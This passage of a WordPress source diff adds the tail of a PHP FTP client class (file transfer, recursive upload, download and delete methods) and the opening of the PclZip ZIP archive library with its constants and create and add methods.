+			$this->abort();
+		}
+		if($exists) $this->SendMSG("Remote file ".$pathname." exists");
+		else $this->SendMSG("Remote file ".$pathname." does not exist");
+		return $exists;
+	}
+
+	function fget($fp, $remotefile,$rest=0) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function get($remotefile, $localfile=NULL, $rest=0) {
+		if(is_null($localfile)) $localfile=$remotefile;
+		if (@file_exists($localfile)) $this->SendMSG("Warning : local file will be overwritten");
+		$fp = @fopen($localfile, "w");
+		if (!$fp) {
+			$this->PushError("get","can't open local file", "Cannot create \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("RETR ".$remotefile, "get")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$out=$this->_data_read($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $out;
+	}
+
+	function fput($remotefile, $fp) {
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($remotefile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function put($localfile, $remotefile=NULL, $rest=0) {
+		if(is_null($remotefile)) $remotefile=$localfile;
+		if (!file_exists($localfile)) {
+			$this->PushError("put","can't open local file", "No such file or directory \"".$localfile."\"");
+			return FALSE;
+		}
+		$fp = @fopen($localfile, "r");
+
+		if (!$fp) {
+			$this->PushError("put","can't open local file", "Cannot read file \"".$localfile."\"");
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) fseek($fp, $rest);
+		$pi=pathinfo($localfile);
+		if($this->_type==FTP_ASCII or ($this->_type==FTP_AUTOASCII and in_array(strtoupper($pi["extension"]), $this->AutoAsciiExt))) $mode=FTP_ASCII;
+		else $mode=FTP_BINARY;
+		if(!$this->_data_prepare($mode)) {
+			fclose($fp);
+			return FALSE;
+		}
+		if($this->_can_restore and $rest!=0) $this->restore($rest);
+		if(!$this->_exec("STOR ".$remotefile, "put")) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			fclose($fp);
+			return FALSE;
+		}
+		$ret=$this->_data_write($mode, $fp);
+		fclose($fp);
+		$this->_data_close();
+		if(!$this->_readmsg()) return FALSE;
+		if(!$this->_checkCode()) return FALSE;
+		return $ret;
+	}
+
+	function mput($local=".", $remote=NULL, $continious=false) {
+		$local=realpath($local);
+		if(!@file_exists($local)) {
+			$this->PushError("mput","can't open local folder", "Cannot stat folder \"".$local."\"");
+			return FALSE;
+		}
+		if(!is_dir($local)) return $this->put($local, $remote);
+		if(empty($remote)) $remote=".";
+		elseif(!$this->file_exists($remote) and !$this->mkdir($remote)) return FALSE;
+		if($handle = opendir($local)) {
+			$list=array();
+			while (false !== ($file = readdir($handle))) {
+				if ($file != "." && $file != "..") $list[]=$file;
+			}
+			closedir($handle);
+		} else {
+			$this->PushError("mput","can't open local folder", "Cannot read folder \"".$local."\"");
+			return FALSE;
+		}
+		if(empty($list)) return TRUE;
+		$ret=true;
+		foreach($list as $el) {
+			if(is_dir($local."/".$el)) $t=$this->mput($local."/".$el, $remote."/".$el);
+			else $t=$this->put($local."/".$el, $remote."/".$el);
+			if(!$t) {
+				$ret=FALSE;
+				if(!$continious) break;
+			}
+		}
+		return $ret;
+
+	}
+
+	function mget($remote, $local=".", $continious=false) {
+		$list=$this->rawlist($remote, "-lA");
+		if($list===false) {
+			$this->PushError("mget","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return FALSE;
+		}
+		if(empty($list)) return true;
+		if(!@file_exists($local)) {
+			if(!@mkdir($local)) {
+				$this->PushError("mget","can't create local folder", "Cannot create folder \"".$local."\"");
+				return FALSE;
+			}
+		}
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+		foreach($list as $el) {
+			if($el["type"]=="d") {
+				if(!$this->mget($remote."/".$el["name"], $local."/".$el["name"], $continious)) {
+					$this->PushError("mget", "can't copy folder", "Can't copy remote folder \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if(!$this->get($remote."/".$el["name"], $local."/".$el["name"])) {
+					$this->PushError("mget", "can't copy file", "Can't copy remote file \"".$remote."/".$el["name"]."\" to local \"".$local."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+			@chmod($local."/".$el["name"], $el["perms"]);
+			$t=strtotime($el["date"]);
+			if($t!==-1 and $t!==false) @touch($local."/".$el["name"], $t);
+		}
+		return $ret;
+	}
+
+	function mdel($remote, $continious=false) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("mdel","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		foreach($list as $k=>$v) {
+			$list[$k]=$this->parselisting($v);
+			if($list[$k]["name"]=="." or $list[$k]["name"]=="..") unset($list[$k]);
+		}
+		$ret=true;
+
+		foreach($list as $el) {
+			if ( empty($el) )
+				continue;
+
+			if($el["type"]=="d") {
+				if(!$this->mdel($remote."/".$el["name"], $continious)) {
+					$ret=false;
+					if(!$continious) break;
+				}
+			} else {
+				if (!$this->delete($remote."/".$el["name"])) {
+					$this->PushError("mdel", "can't delete file", "Can't delete remote file \"".$remote."/".$el["name"]."\"");
+					$ret=false;
+					if(!$continious) break;
+				}
+			}
+		}
+
+		if(!$this->rmdir($remote)) {
+			$this->PushError("mdel", "can't delete folder", "Can't delete remote folder \"".$remote."/".$el["name"]."\"");
+			$ret=false;
+		}
+		return $ret;
+	}
+
+	function mmkdir($dir, $mode = 0777) {
+		if(empty($dir)) return FALSE;
+		if($this->is_exists($dir) or $dir == "/" ) return TRUE;
+		if(!$this->mmkdir(dirname($dir), $mode)) return false;
+		$r=$this->mkdir($dir, $mode);
+		$this->chmod($dir,$mode);
+		return $r;
+	}
+
+	function glob($pattern, $handle=NULL) {
+		$path=$output=null;
+		if(PHP_OS=='WIN32') $slash='\\';
+		else $slash='/';
+		$lastpos=strrpos($pattern,$slash);
+		if(!($lastpos===false)) {
+			$path=substr($pattern,0,-$lastpos-1);
+			$pattern=substr($pattern,$lastpos);
+		} else $path=getcwd();
+		if(is_array($handle) and !empty($handle)) {
+			while($dir=each($handle)) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+		} else {
+			$handle=@opendir($path);
+			if($handle===false) return false;
+			while($dir=readdir($handle)) {
+				if($this->glob_pattern_match($pattern,$dir))
+				$output[]=$dir;
+			}
+			closedir($handle);
+		}
+		if(is_array($output)) return $output;
+		return false;
+	}
+
+	function glob_pattern_match($pattern,$string) {
+		$out=null;
+		$chunks=explode(';',$pattern);
+		foreach($chunks as $pattern) {
+			$escape=array('$','^','.','{','}','(',')','[',']','|');
+			while(strpos($pattern,'**')!==false)
+				$pattern=str_replace('**','*',$pattern);
+			foreach($escape as $probe)
+				$pattern=str_replace($probe,"\\$probe",$pattern);
+			$pattern=str_replace('?*','*',
+				str_replace('*?','*',
+					str_replace('*',".*",
+						str_replace('?','.{1,1}',$pattern))));
+			$out[]=$pattern;
+		}
+		if(count($out)==1) return($this->glob_regexp("^$out[0]$",$string));
+		else {
+			foreach($out as $tester)
+				if($this->my_regexp("^$tester$",$string)) return true;
+		}
+		return false;
+	}
+
+	function glob_regexp($pattern,$probe) {
+		$sensitive=(PHP_OS!='WIN32');
+		return ($sensitive?
+			ereg($pattern,$probe):
+			eregi($pattern,$probe)
+		);
+	}
+
+	function dirlist($remote) {
+		$list=$this->rawlist($remote, "-la");
+		if($list===false) {
+			$this->PushError("dirlist","can't read remote folder list", "Can't read remote folder \"".$remote."\" contents");
+			return false;
+		}
+
+		$dirlist = array();
+		foreach($list as $k=>$v) {
+			$entry=$this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if($entry["name"]=="." or $entry["name"]=="..")
+				continue;
+
+			$dirlist[$entry['name']] = $entry;
+		}
+
+		return $dirlist;
+	}
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!--       Private functions                                                                 -->
+// <!-- --------------------------------------------------------------------------------------- -->
+	function _checkCode() {
+		return ($this->_code<400 and $this->_code>0);
+	}
+
+	function _list($arg="", $cmd="LIST", $fnction="_list") {
+		if(!$this->_data_prepare()) return false;
+		if(!$this->_exec($cmd.$arg, $fnction)) {
+			$this->_data_close();
+			return FALSE;
+		}
+		if(!$this->_checkCode()) {
+			$this->_data_close();
+			return FALSE;
+		}
+		$out="";
+		if($this->_code<200) {
+			$out=$this->_data_read();
+			$this->_data_close();
+			if(!$this->_readmsg()) return FALSE;
+			if(!$this->_checkCode()) return FALSE;
+			if($out === FALSE ) return FALSE;
+			$out=preg_split("/[".CRLF."]+/", $out, -1, PREG_SPLIT_NO_EMPTY);
+//			$this->SendMSG(implode($this->_eol_code[$this->OS_local], $out));
+		}
+		return $out;
+	}
+
+// <!-- --------------------------------------------------------------------------------------- -->
+// <!-- Partie : gestion des erreurs                                                            -->
+// <!-- --------------------------------------------------------------------------------------- -->
+// Gnre une erreur pour traitement externe  la classe
+	function PushError($fctname,$msg,$desc=false){
+		$error=array();
+		$error['time']=time();
+		$error['fctname']=$fctname;
+		$error['msg']=$msg;
+		$error['desc']=$desc;
+		if($desc) $tmp=' ('.$desc.')'; else $tmp='';
+		$this->SendMSG($fctname.': '.$msg.$tmp);
+		return(array_push($this->_error_array,$error));
+	}
+
+// Rcupre une erreur externe
+	function PopError(){
+		if(count($this->_error_array)) return(array_pop($this->_error_array));
+			else return(false);
+	}
+}
+
+$mod_sockets = extension_loaded( 'sockets' );
+if ( ! $mod_sockets && function_exists( 'dl' ) && is_callable( 'dl' ) ) {
+	$prefix = ( PHP_SHLIB_SUFFIX == 'dll' ) ? 'php_' : '';
+	@dl( $prefix . 'sockets.' . PHP_SHLIB_SUFFIX );
+	$mod_sockets = extension_loaded( 'sockets' );
+}
+
+require_once dirname( __FILE__ ) . "/class-ftp-" . ( $mod_sockets ? "sockets" : "pure" ) . ".php";
Index: /tags/4.1.6/src/wp-admin/includes/class-pclzip.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-pclzip.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-pclzip.php	(revision 33402)
@@ -0,0 +1,5687 @@
+<?php
+// --------------------------------------------------------------------------------
+// PhpConcept Library - Zip Module 2.8.2
+// --------------------------------------------------------------------------------
+// License GNU/LGPL - Vincent Blavet - August 2009
+// http://www.phpconcept.net
+// --------------------------------------------------------------------------------
+//
+// Presentation :
+//   PclZip is a PHP library that manage ZIP archives.
+//   So far tests show that archives generated by PclZip are readable by
+//   WinZip application and other tools.
+//
+// Description :
+//   See readme.txt and http://www.phpconcept.net
+//
+// Warning :
+//   This library and the associated files are non commercial, non professional
+//   work.
+//   It should not have unexpected results. However if any damage is caused by
+//   this software the author can not be responsible.
+//   The use of this software is at the risk of the user.
+//
+// --------------------------------------------------------------------------------
+// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
+// --------------------------------------------------------------------------------
+
+  // ----- Constants
+  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
+    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
+  }
+
+  // ----- File list separator
+  // In version 1.x of PclZip, the separator for file list is a space
+  // (which is not a very smart choice, specifically for windows paths !).
+  // A better separator should be a comma (,). This constant gives you the
+  // abilty to change that.
+  // However notice that changing this value, may have impact on existing
+  // scripts, using space separated filenames.
+  // Recommanded values for compatibility with older versions :
+  //define( 'PCLZIP_SEPARATOR', ' ' );
+  // Recommanded values for smart separation of filenames.
+  if (!defined('PCLZIP_SEPARATOR')) {
+    define( 'PCLZIP_SEPARATOR', ',' );
+  }
+
+  // ----- Error configuration
+  // 0 : PclZip Class integrated error handling
+  // 1 : PclError external library error handling. By enabling this
+  //     you must ensure that you have included PclError library.
+  // [2,...] : reserved for futur use
+  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
+    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
+  }
+
+  // ----- Optional static temporary directory
+  //       By default temporary files are generated in the script current
+  //       path.
+  //       If defined :
+  //       - MUST BE terminated by a '/'.
+  //       - MUST be a valid, already created directory
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
+  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
+  if (!defined('PCLZIP_TEMPORARY_DIR')) {
+    define( 'PCLZIP_TEMPORARY_DIR', '' );
+  }
+
+  // ----- Optional threshold ratio for use of temporary files
+  //       Pclzip sense the size of the file to add/extract and decide to
+  //       use or not temporary file. The algorythm is looking for
+  //       memory_limit of PHP and apply a ratio.
+  //       threshold = memory_limit * ratio.
+  //       Recommended values are under 0.5. Default 0.47.
+  //       Samples :
+  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
+  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
+    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
+  }
+
+// --------------------------------------------------------------------------------
+// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
+// --------------------------------------------------------------------------------
+
+  // ----- Global variables
+  $g_pclzip_version = "2.8.2";
+
+  // ----- Error codes
+  //   -1 : Unable to open file in binary write mode
+  //   -2 : Unable to open file in binary read mode
+  //   -3 : Invalid parameters
+  //   -4 : File does not exist
+  //   -5 : Filename is too long (max. 255)
+  //   -6 : Not a valid zip file
+  //   -7 : Invalid extracted file size
+  //   -8 : Unable to create directory
+  //   -9 : Invalid archive extension
+  //  -10 : Invalid archive format
+  //  -11 : Unable to delete file (unlink)
+  //  -12 : Unable to rename file (rename)
+  //  -13 : Invalid header checksum
+  //  -14 : Invalid archive size
+  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
+  define( 'PCLZIP_ERR_NO_ERROR', 0 );
+  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
+  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
+  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
+  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
+  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
+  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
+  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
+  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
+  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
+  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
+  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
+  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
+  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
+  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
+  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
+  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
+  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
+  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
+  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
+  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );
+
+  // ----- Options values
+  define( 'PCLZIP_OPT_PATH', 77001 );
+  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
+  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
+  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
+  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
+  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
+  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
+  define( 'PCLZIP_OPT_BY_NAME', 77008 );
+  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
+  define( 'PCLZIP_OPT_BY_EREG', 77010 );
+  define( 'PCLZIP_OPT_BY_PREG', 77011 );
+  define( 'PCLZIP_OPT_COMMENT', 77012 );
+  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
+  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
+  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
+  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
+  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
+  // Having big trouble with crypt. Need to multiply 2 long int
+  // which is not correctly supported by PHP ...
+  //define( 'PCLZIP_OPT_CRYPT', 77018 );
+  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
+  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
+  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
+  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias
+
+  // ----- File description attributes
+  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
+  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
+  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
+  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
+  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
+  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );
+
+  // ----- Call backs values
+  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
+  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
+  define( 'PCLZIP_CB_PRE_ADD', 78003 );
+  define( 'PCLZIP_CB_POST_ADD', 78004 );
+  /* For futur use
+  define( 'PCLZIP_CB_PRE_LIST', 78005 );
+  define( 'PCLZIP_CB_POST_LIST', 78006 );
+  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
+  define( 'PCLZIP_CB_POST_DELETE', 78008 );
+  */
+
+  // --------------------------------------------------------------------------------
+  // Class : PclZip
+  // Description :
+  //   PclZip is the class that represent a Zip archive.
+  //   The public methods allow the manipulation of the archive.
+  // Attributes :
+  //   Attributes must not be accessed directly.
+  // Methods :
+  //   PclZip() : Object creator
+  //   create() : Creates the Zip archive
+  //   listContent() : List the content of the Zip archive
+  //   extract() : Extract the content of the archive
+  //   properties() : List the properties of the archive
+  // --------------------------------------------------------------------------------
+  class PclZip
+  {
+    // ----- Filename of the zip file
+    var $zipname = '';
+
+    // ----- File descriptor of the zip file
+    var $zip_fd = 0;
+
+    // ----- Internal error handling
+    var $error_code = 1;
+    var $error_string = '';
+
+    // ----- Current status of the magic_quotes_runtime
+    // This value store the php configuration for magic_quotes
+    // The class can then disable the magic_quotes and reset it after
+    var $magic_quotes_status;
+
+  // --------------------------------------------------------------------------------
+  // Function : PclZip()
+  // Description :
+  //   Creates a PclZip object and set the name of the associated Zip archive
+  //   filename.
+  //   Note that no real action is taken, if the archive does not exist it is not
+  //   created. Use create() for that.
+  // --------------------------------------------------------------------------------
+  function PclZip($p_zipname)
+  {
+
+    // ----- Tests the zlib
+    if (!function_exists('gzopen'))
+    {
+      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
+    }
+
+    // ----- Set the attributes
+    $this->zipname = $p_zipname;
+    $this->zip_fd = 0;
+    $this->magic_quotes_status = -1;
+
+    // ----- Return
+    return;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   create($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two different synopsis. The first one is historical.
+  //   This method creates a Zip Archive. The Zip file is created in the
+  //   filesystem. The files and directories indicated in $p_filelist
+  //   are added in the archive. See the parameters description for the
+  //   supported format of $p_filelist.
+  //   When a directory is in the list, the directory and its content is added
+  //   in the archive.
+  //   In this synopsis, the function takes an optional variable list of
+  //   options. See bellow the supported options.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function create($p_filelist)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove from the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
+                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
+                                                   PCLZIP_OPT_ADD_PATH => 'optional',
+                                                   PCLZIP_CB_PRE_ADD => 'optional',
+                                                   PCLZIP_CB_POST_ADD => 'optional',
+                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
+                                                   PCLZIP_OPT_COMMENT => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
+                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
+                                                   //, PCLZIP_OPT_CRYPT => 'optional'
+                                             ));
+        if ($v_result != 1) {
+          return 0;
+        }
+      }
+
+      // ----- Look for 2 args
+      // Here we need to support the first historic synopsis of the
+      // method.
+      else {
+
+        // ----- Get the first argument
+        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];
+
+        // ----- Look for the optional second argument
+        if ($v_size == 2) {
+          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
+        }
+        else if ($v_size > 2) {
+          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
+		                       "Invalid number / type of arguments");
+          return 0;
+        }
+      }
+    }
+
+    // ----- Look for default option values
+    $this->privOptionDefaultThreshold($v_options);
+
+    // ----- Init
+    $v_string_list = array();
+    $v_att_list = array();
+    $v_filedescr_list = array();
+    $p_result_list = array();
+
+    // ----- Look if the $p_filelist is really an array
+    if (is_array($p_filelist)) {
+
+      // ----- Look if the first element is also an array
+      //       This will mean that this is a file description entry
+      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
+        $v_att_list = $p_filelist;
+      }
+
+      // ----- The list is a list of string names
+      else {
+        $v_string_list = $p_filelist;
+      }
+    }
+
+    // ----- Look if the $p_filelist is a string
+    else if (is_string($p_filelist)) {
+      // ----- Create a list from the string
+      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
+    }
+
+    // ----- Invalid variable type for $p_filelist
+    else {
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
+      return 0;
+    }
+
+    // ----- Reformat the string list
+    if (sizeof($v_string_list) != 0) {
+      foreach ($v_string_list as $v_string) {
+        if ($v_string != '') {
+          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
+        }
+        else {
+        }
+      }
+    }
+
+    // ----- For each file in the list check the attributes
+    $v_supported_attributes
+    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
+             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
+             ,PCLZIP_ATT_FILE_MTIME => 'optional'
+             ,PCLZIP_ATT_FILE_CONTENT => 'optional'
+             ,PCLZIP_ATT_FILE_COMMENT => 'optional'
+						);
+    foreach ($v_att_list as $v_entry) {
+      $v_result = $this->privFileDescrParseAtt($v_entry,
+                                               $v_filedescr_list[],
+                                               $v_options,
+                                               $v_supported_attributes);
+      if ($v_result != 1) {
+        return 0;
+      }
+    }
+
+    // ----- Expand the filelist (expand directories)
+    $v_result = $this->privFileDescrExpand($v_filedescr_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Call the create fct
+    $v_result = $this->privCreate($v_filedescr_list, $p_result_list, $v_options);
+    if ($v_result != 1) {
+      return 0;
+    }
+
+    // ----- Return
+    return $p_result_list;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function :
+  //   add($p_filelist, $p_add_dir="", $p_remove_dir="")
+  //   add($p_filelist, $p_option, $p_option_value, ...)
+  // Description :
+  //   This method supports two synopsis. The first one is historical.
+  //   This methods add the list of files in an existing archive.
+  //   If a file with the same name already exists, it is added at the end of the
+  //   archive, the first one is still present.
+  //   If the archive does not exist, it is created.
+  // Parameters :
+  //   $p_filelist : An array containing file or directory names, or
+  //                 a string containing one filename or one directory name, or
+  //                 a string containing a list of filenames and/or directory
+  //                 names separated by spaces.
+  //   $p_add_dir : A path to add before the real path of the archived file,
+  //                in order to have it memorized in the archive.
+  //   $p_remove_dir : A path to remove from the real path of the file to archive,
+  //                   in order to have a shorter path memorized in the archive.
+  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
+  //                   is removed first, before $p_add_dir is added.
+  // Options :
+  //   PCLZIP_OPT_ADD_PATH :
+  //   PCLZIP_OPT_REMOVE_PATH :
+  //   PCLZIP_OPT_REMOVE_ALL_PATH :
+  //   PCLZIP_OPT_COMMENT :
+  //   PCLZIP_OPT_ADD_COMMENT :
+  //   PCLZIP_OPT_PREPEND_COMMENT :
+  //   PCLZIP_CB_PRE_ADD :
+  //   PCLZIP_CB_POST_ADD :
+  // Return Values :
+  //   0 on failure,
+  //   The list of the added files, with a status of the add action.
+  //   (see PclZip::listContent() for list entry format)
+  // --------------------------------------------------------------------------------
+  function add($p_filelist)
+  {
+    $v_result=1;
+
+    // ----- Reset the error handler
+    $this->privErrorReset();
+
+    // ----- Set default values
+    $v_options = array();
+    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;
+
+    // ----- Look for variable options arguments
+    $v_size = func_num_args();
+
+    // ----- Look for arguments
+    if ($v_size > 1) {
+      // ----- Get the arguments
+      $v_arg_list = func_get_args();
+
+      // ----- Remove form the options list the first argument
+      array_shift($v_arg_list);
+      $v_size--;
+
+      // ----- Look for first arg
+      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {
+
+        // ----- Parse the options
+        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
+                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
